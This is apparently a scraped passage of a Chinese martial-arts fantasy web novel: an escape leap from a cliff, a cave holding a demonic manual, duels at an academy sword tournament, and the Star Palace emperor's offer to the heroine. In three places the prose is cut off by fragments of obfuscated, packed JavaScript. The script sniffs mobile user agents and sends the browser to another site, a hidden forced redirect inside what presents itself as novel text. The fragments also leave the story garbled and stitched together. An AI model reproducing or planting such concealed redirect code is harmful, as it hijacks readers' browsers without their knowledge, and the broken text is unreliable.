几只冷箭擦过玉怜真的脸颊,青色道袍血痕累累,他早就落了下风,福生无量天尊,真快撑不住了! 阵阵血腥气涌上喉咙,玉怜真忍不住回头道:“陈公子,不就是试剑大会打赢了你吗!至于跟我拼命吗!” 陈岭鹭双目猩红,咬牙切齿:“臭道士,你懂个屁!这不是一场输赢那么简单!” 他出身世家,却是没落旁支,文采平平,唯有拼命习武,在军营搏个出路,他散尽家财,用尽一切办法才到了忘凡境,又靠巴结权贵,摸进了学宫试剑大会的门槛,意欲一路打进百强榜。 岂料,半路杀出个玉怜真,他堂堂金吾卫中侯竟被玄真道观的小牛鼻子打趴下了,当时他清楚听见一旁观战的金吾卫大将军叹了口气。 一声叹息里,他听见了前途破碎的声音。 陈岭鹭越想越气,越气越恨,“玉怜真!我定要将你扒皮抽筋,碎尸万段!” 砰! 话音未落,一根厚重的竹棍从暗处横闪出,陈岭鹭等人重重撞在上面,顿时鼻歪嘴破,血流不止,惨叫连连。 玉怜真惊讶张开嘴,一抹黑影窜出,踩着陈岭鹭的脑袋借力翻越,落在玉怜真身边,拽着他往前跑。 “你是谁?” “是我,莫淮。” “……啊!” 一枚冷箭直冲玉怜真后脑勺射来,莫淮摆手打飞,玉怜真后知后觉,冷汗暴流。 他已经没有力气跑了,全靠莫淮架住他向前冲,他像个挂在莫淮身上的兜子。 后面的人紧追不舍,恶毒咒骂满天飞。 莫淮问:“你的内力呢?” “别提了,中毒了!”玉怜真哭丧着脸,“我们早晚会被追上的,这群人心狠手辣,目无法纪,你别管我了!” “就是因为他狠毒,我才不能走。” 陈岭鹭教唆李一白要剥他皮的事,莫淮可没忘。 绝望中,玉怜真忽然看见不远处有一辆马车,标着官府的标志,边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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莫淮往前一看,登时愣住,前方竟是一片断崖,他第一次骑马,光想着别掉下马去,一时没注意前路,幸亏这匹马有灵性,及时停止。 “两个臭贱民!今晚上,你们谁也跑不掉!” 阴魂不散的声音传来,莫淮翻身下马,扶住玉怜真。 深不见底的断崖,层层雾气腾升,依稀有树枝可见,莫淮踢了块石头下去,许久也无声响,玉怜真咽了口唾沫,觉得完蛋了。 莫淮转头拍了拍马:“别被他们泄愤杀死,活下去。”随后,他将马掉头,重重抽了下它屁股,马儿跑进树林。 陈岭鹭并没有在乎一匹马,他狰狞笑着带一堆人走近莫淮和玉怜真。 “臭小子,我记起你是谁了,铁笼子换成了铁面具,看来离开小王爷之后,你过得不错啊。既然你自寻死路撞上来,本大爷便把你和这个臭道士一起扒皮。” 莫淮冷冷撇他一眼,并不搭理。 玉怜真很生气,“烦死了!你才臭呢!姓陈的,你全家都臭,死臭虫等着吧,我已经传讯给师叔和师兄,等他们来了,你们死定了!” “呵,唬谁呢,我们追你半宿了,连个鬼影也不见,即便你师门到了,也是来给你收尸的。”一人嘲讽道。 陈岭鹭也笑了,不怀好意道:“这么厉害?那本大爷改主意了,先把这个贱民宰了,人皮扒下来做夜壶,然后把你这个白脸道士卖去当兔爷,最后砍断手脚当人彘,慢慢折磨。” 玉怜真倒吸冷气,天呀,世上怎会有如此恶毒之人。 “你杀不了我,也伤害不了他。”莫淮看着陈岭鹭。 陈岭鹭冷笑,“少嘴硬了,前面是悬崖,你们没有退路了,这个道士中毒无法运功,你们不是我们的对手。” “是吗?” 莫淮反问他。 玉怜真眼睛一亮,小声道:“莫兄,难道你有什么保命之法?” “不错。” “太好了,是什么?” “跳下去。” “啊?”玉怜真愣住,怀疑自己耳朵出了问题。 “你没听错,跳下去吧,这是最好的选择,不然,我们会受很重的伤。”莫淮诚恳道,东海斗兽场的漫长黑暗,教会他判断敌人的实力,只消几眼,他便可大约看出,赢要付出怎样的代价。 “跳崖会摔死的!” “下面有流水,我护着你,你会平安的。” 玉怜真犹豫地看了看莫淮,又看了看悬崖,最后看向陈岭鹭,陈岭鹭翻了个白眼,“嘀嘀咕咕的,少磨蹭了,过来受死吧。” 比起落在人渣手里,他还是摔死吧! 玉怜真心一横,转身闭眼,跳下悬崖,莫淮紧随其后。 就算悬崖下是江河湖泊,这么高的距离掉下去,没有真气护体,砸在水面也是非死即残,玉怜真觉得自己深深连累了莫淮。 他紧闭眼,等待生死抉择一刻。 蓦然,莫淮抱住了他,将身子垫在他下面。 “你疯了!” 下坠的疾风,破碎了话语。 嘭地一声,湍急河流炸开一朵浪花。 冰冷河水包裹住玉怜真,涌入肺部,他与这条河融为一体,模糊了意识,依稀感觉到一只强有力的手,拽着他脱离了河向。 …… “陈二,他们跳下去了,现在怎么办?” 陈岭鹭锁眉,小心站在崖边,往下看了一眼, “此崖深不见底,他们一定会粉身碎骨,我们回去吧。” 同伴说得不错,如此高的悬崖,即便武功高强也保全不了性命,何况两个废物。 陈岭鹭:“走,回营,今夜的事,谁也不许往外传。” 13. 卷一·学宫试剑 幽深河水,暗流涌动。 莫淮拖着昏迷的玉怜真,刚冒出水面,就被浪花打下去,反复几次,他很担心玉怜真溺水而亡。 再次沉入水下,莫淮忽然发现衣衫上的血迹,凝成一条血线,漂浮伸向河水深处。 想着既然游不上去,干脆去碰碰运气。 顺着血线指引,他拉着玉怜真游入一个隐秘的洞口,起初通道狭窄,而后开阔,竟然是洞中湖,二人浮出湖面,上了岸。 把玉怜真肺里的水按压出来后,莫淮打量起这处埋于水下的洞穴。 明显的开凿痕迹,壁石里天然发光的矿物,使人勉强视物,莫淮拿起玉怜真的剑,割破手指,几滴血落在地面,仿佛有生命般流向某处。 他垂眸看着已经愈合的伤口,大约猜到了什么,跟着血往里走。 偏黑的暗红血液攀上腐朽的白骨,灰尘覆盖之下,一具死去多年的躯壳,展露在他面前。 这具白骨显然是人,唯一的怪异之处,就是白骨后脊背中,竟附着一张类似符咒的东西,贴近些仔细看,那完全是由密密麻麻的小虫组成的,当然,它们也已经是干尸了。 那几滴血,最后落在了白骨怀中的盒子上,莫淮拿出来打开,里面有一本古籍,以及一封信。 古籍封皮写着三个龙飞凤舞的大字,魔神策。 ……魔。 这个字眼挑动莫淮神经,触动他心底最深沉的秘密。 他将古籍藏起,看起那封信,许先生是一个好老师,他已经认全了字。 “叛主之仆,死后必坠炼狱,唯愿有生之年,练成魔功,重回东海,再见君一面。黑蛊林之主,巫断梦绝笔。” 这都什么玩意。 莫淮将信丢在白骨脚边,叹了口气,他原以为是同族留下的东西。 “莫兄,莫淮兄你在哪?” 玉怜真的声音打断莫淮的思考,他走出密室,裂开的岩壁自动合上,世上再也不会有人发现这具尸骨了。 玉怜真的发冠不知掉在哪里,头发乱糟糟披着,本就圆溜溜的眼睛,瞪得更大,很像莫淮曾经养过的一只小狗。 那只狗崽子是斗兽场看奴人丢给他的加餐,纯黑色,比巴掌差不多大。 当时他印象里的狗是呲着獠牙的恶犬,像这样抓起来会呜咽舔他手指的小生灵,简直是神迹般的存在。 小黑是斗兽场里唯一对他友善的存在。 他尽可能养活它。 东海斗兽场的主人,知道他吃很少的食物也能活,明明一个馒头就能让他充满力气,却为了刻意折磨,只给他一半的一半。 他就这样饿也饿不死,饱也饱不了,每天拼命去跟各种疯人猛兽厮打,以供观众取乐。 “莫兄,我们在哪?”玉怜真问。 “水下的洞穴,等你修养一会,我带你游上去。”莫淮边走神,边回答。 小黑刚被他养大了一点点,斗兽场的主人巡视时就看见了它,哈哈大笑一阵后,小黑被带走,做成一锅汤,灌进了他的胃里。 他吐到呕血。 有那么一瞬间,他很想去死,结束漫长折磨。 决定葬身在三只猎豹的爪牙之下的前一天,戏剧般的奇迹出现,他被李一白买走了。 在遇见北羽之前,莫淮感激李一白,高兴待在李一白身边,李一白固然跋扈,却至少是一个人,而斗兽场里面全是阎罗恶鬼。 玉怜真:“莫兄,你对我真好,有了这过命的交情,我以后肯定把你当恩人供着。” 莫淮摇摇头,“我没有对你很好,只是做了该做的事,之前你先帮我的。” “你不顾性命带我一路逃跑,还给我做肉垫,这不叫很好,什么叫好!从小到大,也就我师父和师兄会这般舍命保护我。” 他紧张问道,“对了,你有没有受内伤!” “还好吧,我……天生自愈能力强。” 莫淮淡淡一笑,并不觉得为玉怜真付出了多少。 倘若今夜换成北羽被追杀,他绝不会带着她跑,让她跳悬崖,他会不顾一切代价后果,杀光任何试图伤害她的人。 即便北羽比他强多了。 …………… 学宫,试剑大会第十五日。 随着擂台上无数身影的起起落落,学宫百强榜初具雏形,天枢城里大大小小的赌坊,已经排出榜上前十的热门人选,各自下注。 大会比武的地点,也慢慢从外宫靠拢内宫,移到最著名的金柳春湖湖畔。 成千上万株边缘泛金的翠绿杨柳随剑风舞动,景致如画。 一袭红衣的叶一片领着北羽穿行在人群中,他甚少穿得这般鲜亮惹眼,阳光波动,衣服上的黄金刺绣恍到刺眼。 “你去打劫了吗?”北羽问,她印象里叶一片的穿着打扮总向南戏霖看齐。 毕竟,叶一片是被南戏霖捡回来的,从某种程度上来讲,他们就像亲兄弟。 “嘿,这话说的,我就不能穿得正经点。这身衣服是师尊送我的,嘱咐我一旦打进百强榜前十立即换上。他老人家知道我就你们几个朋友,还特地分别给你们也做了身。” “怪不得南戏霖今早上突然穿得很骚包!他从来舍不得在衣服上花钱的,原来沾了你的光,那给我的衣服呢?为什么没送到我手上!”北羽嘟起嘴。 “额,你这几天一直躲屋子里,我哪敢去给你送衣裳,再说,那件裙子特别扎眼,你要是换上,现在偷看你的人估计翻三倍。”叶一片挠挠头,一路走来太多目光投向北羽,又转向他,他有点不适应。 唐引琼安然无恙后,北羽为了打破那些说她心虚的流言,彻底放弃面具面纱。 如今外界盛传她已入羽化境,十六岁入羽化境的高手,放眼天下,也是寥寥无几,坊间传言,此次试剑大会榜首非她莫属,这独一份的初出茅庐意气风发,人人均想瞻仰。 北羽:“你拉我出门,不会单纯散步吧。这金柳春湖对旁人而言是难得一见的学宫美景,但我们足足看了六年,难道你还没腻?” 叶一片伸出手,接住一片柳叶,“学宫的风景,我这辈子也不会看腻的。今日有两场比试,至关重要,很多人都来围观,咱们也不能错过。” 北羽好奇:“哪两场?” “大音佛寺的净颜和尚对战玄北离,东海魔教弟子李寻芳对战云笙弦。我问过负责安排比试的老师,若是净颜和尚、李寻芳胜了,那你我与他们将会一战!”叶一片眸中闪过战意。 十米外擂台,天下十大名剑之一不见人间,正随主人玄北离酣战中,他的剑法北羽再熟悉不过,反而净颜和尚手持降魔法杖,使出的降魔八十一式,别具一格。 法杖震地,金环腾飞,舞如银蛇,动如雷霆。 认真看了一会,她感叹道:“出手不急不抢,无论格挡、进攻,都选择最柔和最恰当的力道,可谓松弛有度,慈悲为怀,这一战北离输定了。” 叶一片:“虽然我不想看见好兄弟落败,但北离确实不如净颜和尚,净颜和尚的境界达到虚空巅峰,不过十八岁,就精通混沌金钟罩、赤手伏魔拳、踏天平云步等大音佛寺不外传的秘学,离羽化境一线之隔,是个难缠的对手。” 北羽摇首,“不,净颜不会是我们的对手。” “哦?为何?”叶一片疑虑。 她道:“两年前,净颜在天玑城宣讲佛法七天七夜,期间曾有五位来自南境佛城的大师,七位来自西海佛域的僧师,以及三位长驻东海宣扬佛法的宗师,先后与他论经,无一不折服,从那时起,净颜便被称为北境最年轻的佛法宗师。 这样一位得道高人,怎会在乎世俗比武的胜负输赢,他来参会,恐怕是单纯切磋武艺,见识天下各大门派的功夫。 一个没有必胜信念的人,碰上绝不愿意被打败的我们,肯定会输,搞不好,他甚至会在你使出全力之前主动认输。” 叶一片思索片刻,眉开眼笑:“北羽,看不出来啊,原来你动起脑筋,跟南戏霖一样聪明,一样能说会道。” “那当然!” 北羽仰起头,她就是既聪明,又厉害,天赋高,还漂亮。 “咦,那边棚子里坐着的人,是灵王吗?”她留意到擂台正对的最佳观战位置,支起了个大棚,规模不小,侍从皆是宫装打扮。 “不,是大内掌监宣德。” “秋落剑圣!他居然也来观战。” “他当然会来,大音佛寺是他曾经的师门,听南戏霖说,国安寺的主持请了慈悲大师来天枢城讨论佛法,这位大师就是宣德太监过去的师父。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491610|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这些事为什么你知道,我不知道?南戏霖居然不告诉我!” “他说过好几次,肯定是你走神了。” 叶一片同她八卦起来。 秋落剑圣最开始是大音佛寺的一名扫地僧,得高人点拨还俗,取名洛春芙。 行走江湖时,他被朝廷中人发现是罪臣余孽,为了保命,他自愿净身成了皇宫掌监,而轩宸帝竟也不怕哪天他为父报仇,趁夜囊死自己,对他异常信任,赐名宣德。 这曾经一度引起朝臣不满。 北羽往棚子走近些,宣德太监正聚精会神观战擂台,面色似有怅然,抛去太监这层身份,单纯看脸,他长得格外俊美,只可惜,世人眼中看见的,始终是他不阴不阳的身份。 “叶一片,我发现一个事。”她忍不住笑道,“你跟宣德公公长得有点像哎,尤其是鼻子嘴巴那块。” “北羽!我好心好意带你了解对手,你却拿我开涮,把我跟太监放一块比!看我不揍你!”叶一片举起拳头。 北羽边笑边躲,“北离马上输了,咱们走吧,给他留点面子,去看我哥那边怎么样了。” 她一溜烟跑掉,叶一片在后面追,“你走错了,笙弦在东边的擂台!” 随着两人渐行渐远,擂台上玄北离与净颜和尚的比武也落下帷幕。 净颜双掌合十,“阿弥陀佛,玄施主剑法卓越,贫僧浅胜。” 玄北离收剑,“师父谦虚了。大音佛寺的佛功闻名天下,今日领教,是我的幸运。” 净颜微微一笑,道:“贫僧有句话,不知当讲不当讲。” “但说无妨。” “恕贫僧多言,不见人间是一柄好剑,玄施主的天赋也很高,但你的心思,似乎有些不在剑上。既然练剑,便入剑道,剑心不纯,又如何更进一步呢。” 玄北离心中惊讶,初次见面,交手数十招,净颜和尚竟然就看出他心境上的不足。 但他何尝不知道这一点,只是改不掉罢了。 “谢师父提点。”见宣德太监起身朝这边走来,玄北离抱剑离开。 净颜和尚垂眸,挪步朝人少的地方去。 宣德:“一晃多年,你都长这么大了,师父果然将大音佛功里的绝学都传授给了你。记得你五岁练功的时候,我在一旁扫地,十分羡慕你啊。” 净颜和尚沉默半晌,开口道:“师兄资质远胜于我,只是修炼大音佛功的第一关是心修,师兄执着往事,师父担心你走火入魔,才不愿授功。” 宣德冷笑:“所以,我连走火入魔的资格都没有。” 可随后,他又换了副表情。 “罢了,都过去了,即便师父不教我武功,到底是抚养我成人的长辈,宫规森严,多年来我无法回寺里探望他,难免惭愧,这回师父来了天枢城,我很想见他一面。” “只是半月前,我递贴拜访师父他没理会,前日我亲自去国安寺别院叩门,他也不见,劳烦师弟替我转达思念之情,让他老人家抽空见我。” 净颜摇头,“师兄,我帮不了这个忙,师父他不会见你的。” 宣德抬眼,“哦,为何?” “师父说,如果我能见到你,就转告你几句话,师兄自会明白他的心意。” “……哪几句话?” “一切有为法,如梦幻泡影。如露亦如电,应作如是观。” 二人已经走到了无人偏僻之处,金柳随风飘动,肆意张扬,光影跳跃在宣德苍白的脸上。 这几句话,慈悲大师在他离开大音佛寺,还俗报仇前讲过一遍,希望他能放下家仇,莫造杀孽。 如今,他早就报完仇,慈悲大师却又将相同的话重复一遍,莫非……是察觉到了什么。 宣德心中一紧,眸光闪烁,侧首对净颜道:“请师弟告诉师父,他老人家胸怀宽广,超脱世俗,将前尘旧缘看破,但人到底是人,不是供台上冷冰冰的佛像,莫要忘记大音佛寺最初源于哪里,大音佛功又是从何处而来。既然师父选择不入世,那么,也别插手人间的俗事。 师父的身体不好,勿在天枢城久留,请早些回去。” 说罢,宣德拂袖而去。 净颜和尚说了一句阿弥陀佛,拿着法杖漫步于湖畔,默念道,师兄啊师兄,你对东海那位的执念,太重了。 14. 卷一·学宫试剑 围观云笙弦和李传芳擂台的人,竟比观战净颜和玄北离的人多上三倍。 北羽和叶一片来得晚,死活挤不进去,只落了一身汗。 “来,咱们上树!” 叶一片拽着北羽挑了一颗大柳树,跃至中央,才看清擂台上的两个人。 云笙弦剑走轻灵,变幻莫测,身姿飘逸,每一次出手,周围的尖叫就掀起一次高潮,当然,这些尖叫不是感叹他的武功,而是惊叹他一举一动的美态。 李传芳则多以防守为主,甚少主动出击。 北羽噗嗤笑了:“这都不用多看,李传芳输定了。” “他哪是来比武的,眼珠子都黏在我哥脸上了,他完了,我哥最讨厌男人一直盯着他看,肯定使全力打他。” 叶一片失望地锤了下树,“李传芳也算试剑大会最强的参会者之一,竟然是个色鬼。” 北羽:“诶!这话说得忒难听,爱美之心,人皆有之,李传芳是东海魔教弟子,从东海那种鸟不拉屎的地方来,没见过大世面,被美瞎眼很正常。” 东海是当下镜悬大陆最混乱的一块陆地。 二百年前,那里曾有一个无比强盛,统一过天下的国家,大曌。 只是,随着一代开国女皇的去世,曌国逐渐走向衰弱。三十年前,东海裂峡深渊涌出魔物瘴气,给予这个脆弱帝国最后致命一击。 曌国覆灭,百姓逃的逃,死的死。 虽然最后三千剑仙下凡,挽救东海以及天下,但曌国却消失在历史当中。 魔气改变了东海的环境,使多数地方变得极寒无比,寸草不生,没有人想在东海居住。 久而久之,东海成了一个混乱之地,无数在本国呆不下或者犯了罪的人跑去那里,江湖上不为其他门派所容的邪道流派也纷纷挪到东海。 谁曾想,这些邪门歪道联合成的魔教,反而成了东海维护一定秩序的存在。 如今,东海之主是一位无名剑客,他长什么模样,无人知晓,他叫什么也无人知晓,他来自哪里更无人知晓。 世人唯一知晓的,就是他曾在无极大会代表东海,打败了西海无极宫之主李念念,和北境圣剑山白发剑圣乌去云,成为了继乌去云跌境后的天下第一。 东海奉行实力至上,所以尊这位无名剑客为东海之主。 但他自从上一届无极大会后,便消失了,极少露身,东海实际上势力最大的人,是东海魔教教主斐翠然。 北羽从未见过这位魔教教主,却十分讨厌他,因为正是他害了她师父跌境,失去了飞升成仙的机会。 除了魔教,东海还有两大势力,黑蛊林、白蛊林,它们是东海遗民,或者说是曌国遗民构成的两股神秘势力。 虽然听起来像是一家,从前也的确是一家,但黑、白蛊林一直水火不容,否则,魔教风头早被它们联合压倒了。 除去三股大势力,东海还有许多小势力活跃,当真是镜悬大陆最混乱的一片地域,当世的几位皇帝拿它一点办法也没有。 最有意开拓国土的南境天心女帝,因为东海数不胜数的杀人犯们的去留问题,始终遭到南境朝臣劝阻。 大将军韩誉年宁可去打星境,被百万星宫教徒记恨,也不愿意去碰东海这块烫手山芋。 西海无极宫之主李念念,常年为东海、西海接壤之地爆发的混乱头疼,恨不得劈出一道大裂谷,将东海隔开。 星宫倒是曾有去东海传教,再次收服此陆地的想法,只是派过去的传教士通通死得千奇百怪,一个比一个凄惨,仿佛星宫信奉的星空之神的光辉,与东海天生相克,一旦星教徒去了那里,就不会有好下场。 最后,东海直接被星宫划为禁地。 至于北境轩宸帝,因为东海与北境完全不接壤,他对东海半点想法都没有,压根懒得理会。 能在东海出名,甚至名气传到北境学宫的李传芳,是一位不可多得的天才,北羽同叶一片一样,对他有过期待。 从南戏霖收集的情报看来,李传芳修炼的天魔变,跟魔教教主斐翠然的神魔策,同出一脉,威力惊人,学宫百强榜前十必有他一席之地。 李传芳看起来,也是个英武不凡的少年。 谁料,人不可貌相,直接败给美色了。 “李传芳输给我哥之后,还有可能跟我们打吗?” 北羽其实有点搞不懂试剑大会安排比试的规律,说好第一场随机对战之后,按实力排场,但唐引琼之后,她同六个少年打过,全部十招之内解决,根本没动过真格。 南戏霖给出的解释是,鉴于唐引琼的悲剧,一些人得知自己被排到北羽后,直接拒绝对战,有些人则是长辈拦着不让跟她打。 为了尊重参会者意见,学宫进行了多次调整,而且她太强了,学宫不希望能进榜十的少年们,再有被她打残的。 叶一片:“不会了。学宫的百强榜相当于天下少年百强榜,榜前十的排名,可不是单靠武功实力决定的,自身的选择也至关重要。 只要李传芳败给笙弦,哪怕他再强,强到能跟你一战,学宫也不会给他机会,他的排名必然不会超过笙弦。” 他掰着手指头,认真算了算,对北羽道:“接下来我们的对手,会在净颜和尚、盼灵姑娘、韩霸天、韩飞鸿、林盏盏,这些人之中。” 北羽愣了。 净颜和尚她知道,也见识过武功,足够强大,盼灵是她未来板上钉钉的表嫂,她也知道,但韩霸天、韩飞鸿、林盏盏是谁? 她压根没听过这三个人的名字,这代表他们根本就算不上天下闻名。 试剑大会可是天下少年的盛会,怎么最后角逐榜前十的人会有无名之辈?! “咱这一届试剑大会,是不是有点不够档次啊。”她弱弱地说。 叶一片忍不住鼓掌,“恭喜你,终于发现了!” 海刀夫子早就被此次试剑大会榜前十的预估人选,气晕好几回了。 他可是一个个亲手写帖子去请当今世间称得上闻名天下的少年,结果,竟然有一半人没来参会! 南境护国圣女辰雪雪没来,韩誉年给出的理由是身体不适。 海刀夫子认了,总不能拉病人打架比武。 西海无极宫之主李念念的关门弟子雨娉婷没来,伍行烈给出的理由是家事所误。 海刀夫子也认了,毕竟百善孝为先。 星宫之主的侍奉江信子没来,星宫压根没解释,海刀夫子只能认了。 江信子是下一任星宫之主的人选,已经有十几万信徒追随,万一在学宫少了根头发,那些狂热信徒追杀过来,也不好收场。 西海无名散人座下小童青庆没来,是因为无名散人舍不得徒弟远行。 海刀夫子翻着白眼认了,因为无名散人是天下第三,他打不过。 唯独一个人没有来,让海刀夫子捶胸顿足,夜夜难眠。 北羽已经猜到这个人是谁,“逍遥城的江吟歌是吧?” 叶一片点头道:“不错,正是咱们北境唯一跟你齐名的少年天才江吟歌。” “夫子自从两年前在逍遥城见过他一面,就对他赞不绝口,念念不忘,做梦都想纳他入学宫,但是江吟歌最大的特点,就是他不加入任何势力。 于是,夫子的执念,就变成让你跟他打一架。” 夫子曾经不止一次跟北羽讲过,江吟歌将会是试剑大会中,最好、最值得一战的对手,见不到江吟歌,她也挺失落。 叶一片耸耸肩,看向远处临到尾声的擂台比武,“知道为什么我对李传芳的表现如此失望了吗,因为现在榜前十里面,只有他的天魔变最出名,结果这小子直接摆烂。” 北羽摊开手:“唉,谁让我的表哥以脸闻名天枢城,从十一岁来到学宫起,外宫的国子监、钦天监的学生,就全为他发疯,情书没断过,堆积到当柴火烧。” 她余光撇到一抹耀眼的白色,“咦,叶一片你瞧,那是星宫的人吗,居然在金柳树上搭台子!” 距离二人十几米远的地方,白纱低垂,无数星月绣纹的白布捆绑在一株株柳树树干上,组成一个巢穴般的华丽建物,最外面的白纱帐,站着四位戴面纱的星宫教徒。 二人刚才竟然没留意到。 “会不会是盼灵在里面?”北羽道。 叶一片:“或许吧,盼灵姑娘在星宫地位挺高的,也许她来看笙弦。” “那我们过去看看,打个招呼。” 北羽对这位未来表嫂十分好奇,叶一片跟在她后面,离白纱帐五米远时,一名星宫教徒挡住他们。 “止步,神使在此。” 北羽:“是盼灵吗?” 教徒脸色微变,“勿要直呼盼灵侍奉的姓名!此为不敬。” 叶一片赶紧抓住她的胳膊,低声道:“在星地,只有星宫长老才能被尊称神使,里面的人不是盼灵,是代表星宫来拜访学宫的长老。” “星宫规矩太多,我们还是快走吧。南戏霖以前跟我讲过一个故事,传闻某年一位星宫长老出行,一个江湖人士多看了他几眼,竟被他的信徒们以不敬为由,挖掉了双眼。” 镜悬大陆流传过一句话,专用来讽刺星宫那些狂热教徒的——皇帝的子民不一定愿意为皇帝去杀人,但信徒绝对愿意为了信仰去灭世。 这时,又一个星宫教徒走来,看装扮地位比拦路的教徒更高,那名拦路教徒向他行礼,他则面向北羽:“姑娘可是仙骨北羽?” 北羽:“是我。” 他朝后方伸出手:“神使有请,随我来。” 叶一片有点紧张,挡在北羽面前,“你们想做什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491611|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 星宫教徒:“神使想见她而已。” 北羽把叶一片拉回去:“没事,你等我会儿,我去开开眼界。” 星宫的长老,她只在传说中听过呢。 北羽略微兴奋地走进白纱帐,毛毯洁白如雪,柔软细腻,让人仿佛踩在云端,珠帘一层又一层,晃动间炫彩迷人,戴面具的教徒宛若玉石雕像,站在两旁目不斜视,一动不动。 淡淡香气弥漫,清新怡人。 垂地白纱后,一道人影端坐,北羽好奇探头,听见那人轻笑一声。 “仙骨到底是仙骨,实乃天人之姿。当年你出生的时候,我还只是一个侍奉,亲眼看见星宫宝座上的天下名剑梦殇,几度欲出鞘,直到残仙剑从南境飞往北境,在长空划出虹光,梦殇才安静下来。 由此看来,北羽,你跟星宫也有缘份在。” 他的声音很温润,也很亲和,像一个宽厚的长辈,跟北羽想象中高高在上的姿态完全不同,甚至主动跟她拉近关系。 这一位星地的副皇帝,似乎挺好相处。 她礼尚往来也攀亲戚,“星宫跟学宫,以前也是一家啊。” “那是很久、很久、很久以前的事了。” “小睢。” 他唤来一名侍者,侍者将一枚圆石捧给她。 那是一枚中间被掏空的石头,顶端有个小孔,里面盛着透明液体。 “不知道你对我们星宫了解多少?其实……” “抱歉,打断一下,有没有凳子,我站累了。” “……当然。” 一个铺着软垫的圆凳送进来,北羽坐下,打起精神继续听他说话,就像她在茶馆听书一样。 “其实,星宫不过是星空之神在人间的投影,我们只是星神的使者,将祂的旨意传达世间,星宫所享受的一切,也只是信徒对星神的热爱崇敬。因为肩负神圣的使命,所以,星宫有职位的教徒都不许生子,那是对星神的亵渎。” 她打了个哈欠,才不是亵渎呢,防止一方势力独大罢了。 绝不许任职教徒生子,是星宫最严苛的条律,一旦触犯这条律法,即便尊为星宫之主,也会立即被处理掉,从本质上,防止星宫的职位从选拔变成继承,变得乌烟瘴气。 不过,这条律法也有宽松之处,入职之前生孩子无所谓,入职之后,成婚不生子也无所谓,在职生就惨了。 可笑的是,几乎每一届星宫长老里,都存在偷生孩子,最终被剥夺权力的情况。 北羽搞不懂,这位星宫长老跟她说这些规矩做甚,而且,他的嗓音温软,语气和缓,弄得她犯困。 “你手里的石头叫映辉石,盛着神潭圣水,有很神奇的功效。” 她撑开眼皮,“喝了能延年益寿?” “……倒不是这种神奇。小稚。” 一名侍者进来刺破手指,血滴入映辉石,神奇一幕出现,他的血在水中凝聚成花状,映辉石散发金色光茫。 北羽一下子瞪大眼,那名星宫长老的声音随之响起,“可以把你的血滴进去试一试。” 这么好玩的东西,北羽自然尝试,接过侍者手中的银针,往她拿着的映辉石里面,刺了滴血。 鲜红的血液,融入圣水,刹那间变成了金色,绽放成一朵精致美丽的花,一旁的星宫侍者震惊不已,笑声从白纱帷幕后传来。 “不愧是仙骨,令人惊叹的天赋啊。你果然就是星命指引我跋山涉水,不远万里来北境寻找的人之一。” 北羽忽然忆起那些关于星宫的故事。 有时候,星宫长老挑选继承人并不局限在星地,也不只在信徒中挑,凡是与星空之神有缘,皆可入星宫。 她连忙道:“这位星宫长老,我可有师父的,做不了你的侍奉。” 星宫长老的候选者,统一称侍奉。 “你确定?” 帷幕后的人影起身,伸手掀开白纱,北羽惊呆了,这位星宫长老竟然没有戴面纱或面具。 清俊的容貌,纵然不复少年时的鲜艳,却添了几分岁月沉淀的韵味,他的眼眸无比明亮,似乎藏了万丈光芒。 北羽屏住呼吸,感觉浑身血液涌向头顶。 一般情况下,星宫长老只有待在自己宫殿的时候,才能不遮容颜,一旦出现在外面,他们必须挡住脸。因为神的使者不能有面孔,信徒瞻仰的不能是一张张不同的人脸。 唯独一位星宫长老例外。 那就是长老之首,星宫之主,星地的皇帝,星空之神真正的人间化身。 身为星神的化身,星皇的面孔必须被铭记。 所以,现在站在她面前,无需遮挡脸庞的男子,就是这一任的星宫之主。 而他,在邀请她成为下一位星境的皇帝。 北羽情不自禁咽了下口水。 15. 卷一·学宫试剑 世间无人能拒绝当皇帝,北羽心跳加速,星皇笑容迷人:“每一任星宫之主会挑选三位侍奉,作为星境皇位继承者,我已经有了一个,他叫江信子,你应该听过他的名字。” 星皇这个位置跟其他国家的帝位不同,随时可能更换,任期二十年中,触犯星宫律法就会下位。 新的星皇会从跟上任星皇同期成为侍奉,但落选的两人中诞生。 因此,只要成为星宫之主的侍奉,就享有皇位继承权。 不过,也有时限。 在位星皇任期超过十年,就会挑选新的三位侍奉,上任侍奉的继承权自动失效。 星宫其他六位长老也是如此,但按律他们只能挑一个侍奉。 “假如,你愿意日后去星地做我的侍奉,就算将来没有成为星皇,也能拥有三个像天枢城一样庞大美丽的城池。” 三个天枢城,属于她!北羽有点晕乎乎。 “不用急着回答我,好好考虑,这份邀请在试剑大会结束,我离开天枢城之前都有效。虽然要背井离乡去星地,但星地很美,星宫也很美,绝不会让人失望,况且,你并非孤独,下一个接受我邀请的人,是你的亲人也是朋友。” 北羽:“啊?” 